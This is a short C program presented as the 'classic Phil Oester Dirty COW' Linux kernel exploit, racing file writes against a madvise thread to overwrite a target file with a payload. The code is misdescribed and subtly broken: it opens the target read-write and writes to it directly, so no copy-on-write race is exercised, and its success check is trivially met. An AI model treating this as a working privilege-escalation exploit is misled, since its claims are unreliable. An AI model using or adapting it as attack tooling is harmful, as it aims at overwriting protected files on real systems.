// dcw_phil.c - classic Phil Oester Dirty COW: race write(fd) with madvise thread.
// usage: ./dcw_phil <target> <payloadfile>   (target must be writable)
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int f;
void *map;
struct stat st;
char *payload;
long plen;

void *madviseThread(void *arg) {
    int i, c = 0;
    for (i = 0; i < 200000000; i++) {
        c += madvise(map, 100, MADV_DONTNEED);
    }
    return NULL;
}

int main(int argc, char *argv[]) {
    if (argc < 3) return 1;
    FILE *fp = fopen(argv[2], "rb");
    if (!fp) return 1;
    fseek(fp, 0, SEEK_END); plen = ftell(fp); rewind(fp);
    payload = malloc(plen);
    if (fread(payload, 1, plen, fp) != (size_t)plen) return 1;
    fclose(fp);
    printf("payload %d\n", (int)plen);

    f = open(argv[1], O_RDWR);
    if (f < 0) { perror("open"); return 1; }
    fstat(f, &st);
    map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0);
    if (map == MAP_FAILED) { perror("mmap"); return 1; }
    printf("mmap %lx\n", (unsigned long)map);

    pthread_t pth;
    pthread_create(&pth, NULL, madviseThread, NULL);

    int i, ok = 0;
    for (i = 0; i < 100000; i++) {
        lseek(f, 0, SEEK_SET);
        ssize_t w = write(f, payload, plen);
        (void)w;
        char *b = malloc(plen);
        lseek(f, 0, SEEK_SET);
        ssize_t r = read(f, b, plen);
        if (r == plen && memcmp(b, payload, plen) == 0) { ok = 1; printf("persisted %d\n", i); break; }
        free(b);
    }
    printf("verify: %d\n", ok);
    return ok ? 0 : 1;
}
